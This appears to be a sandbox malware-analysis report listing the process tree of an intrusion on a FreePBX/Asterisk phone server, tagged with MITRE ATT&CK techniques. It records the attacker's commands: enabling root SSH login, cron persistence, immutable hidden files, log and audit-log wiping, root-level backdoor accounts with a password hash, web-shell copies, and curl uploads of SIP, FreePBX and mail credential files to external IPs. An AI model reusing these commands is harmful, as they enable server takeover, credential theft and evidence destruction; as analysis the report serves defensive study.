/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
-
/bin/sedsed -i "s/^#Port .*/Port 22/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^Port .*/Port 22/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^#PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
-
-
/bin/systemctlsystemctl reload sshd3⤵
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j ACCEPT3⤵
-
-
/usr/bin/findfind /var/log/httpd/ -maxdepth 1 -name "*.log" -type f -exec sed -i /restapps/d "{}" ";"3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd /usr/share/.fonts /var/lib/.dbus /var/tmp/.X11 /opt/.local /var/cache/.fontconfig /etc/.ssl /root/.config3⤵
-
-
/usr/bin/dirnamedirname /usr/lib/.systemd/.cache3⤵
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/lib/.systemd/.cache3⤵
-
-
/usr/bin/dirnamedirname /usr/share/.fonts/.config3⤵
-
-
/bin/mkdirmkdir -p /usr/share/.fonts3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/share/.fonts/.config3⤵
-
-
/usr/bin/dirnamedirname /var/lib/.dbus/.data3⤵
-
-
/bin/mkdirmkdir -p /var/lib/.dbus3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/lib/.dbus/.data3⤵
-
-
/usr/bin/dirnamedirname /var/tmp/.X11/.Xauthority3⤵
-
-
/bin/mkdirmkdir -p /var/tmp/.X113⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/tmp/.X11/.Xauthority3⤵
-
-
/usr/bin/dirnamedirname /opt/.local/.bashrc3⤵
-
-
/bin/mkdirmkdir -p /opt/.local3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /opt/.local/.bashrc3⤵
-
-
/usr/bin/dirnamedirname /var/cache/.fontconfig/.cfg3⤵
-
-
/bin/mkdirmkdir -p /var/cache/.fontconfig3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/cache/.fontconfig/.cfg3⤵
-
-
/usr/bin/dirnamedirname /etc/.ssl/.cert3⤵
-
-
/bin/mkdirmkdir -p /etc/.ssl3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /etc/.ssl/.cert3⤵
-
-
/usr/bin/dirnamedirname /root/.config/.pref3⤵
-
-
/bin/mkdirmkdir -p /root/.config3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /root/.config/.pref3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/findfind /var/log -name "*.log" -exec sh -c "cat /dev/null > {}" ";"3⤵
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
- Deletes Audit logs
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
-
/bin/rmrm -rf "/var/log/secure*" "/var/log/messages*" /var/log/auth.log "/var/log/httpd/*" "/var/log/nginx/*" "/var/log/apache2/*"3⤵
- Deletes log files
-
-
/bin/rmrm -f /root/.bash_history /root/.zsh_history3⤵
-
-
-
/usr/bin/curlcurl http://160.119.69.4/x -ks2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/mkdirmkdir -p /var/www/html/rest_phones/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/h/2⤵
- Reads runtime system information
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/fpbxphones/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/phones/2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php2⤵
- Reads runtime system information
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php2⤵
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php2⤵
-
-
/bin/chmodchmod +x /var/www/html/admin/views/ajax.php2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/chattrchattr +i /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +i /var/www/html/h.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/h.php2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /tmp/test.sh2⤵
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
- Reads runtime system information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /tmp/test.sh2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /var/spool/asterisk/tmp/test.sh2⤵
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /var/spool/asterisk/tmp/test.sh2⤵
-
-
/bin/bashbash2⤵
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
/usr/bin/curlcurl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
3XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Modify Authentication Process
1Pluggable Authentication Modules
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
3XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Indicator Removal
2Clear Linux or Mac System Logs
2Modify Authentication Process
1Pluggable Authentication Modules
1Replay Monitor
Loading Replay Monitor...
Downloads
sed85T8lm
sedFHPSXm
group+
group+
group+
group+
group+
group+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
passwd
passwd+
passwd+
passwd+
passwd+
passwd+
passwd+
sedKlQaVy
sedLiyW8R
sedw6jyQm
shadow+
shadow+
shadow+
shadow+
shadow+
shadow+
sedB9iN7o
sedRuQSOs
subuid+
subuid+
subuid+
subuid+
subuid+
.bash_logout
.bashrc
.profile
examples.desktop
.bash_profile
.bash_profile
test.sh
.cache
tmp.BvIzvx
tmp.KFgqfb
tmp.LTAonw
tmp.Qna6rh
tmp.UTcdZa
tmp.UyKK9d
tmp.WZo0HG
tmp.bxhg0w
tmp.cBAEge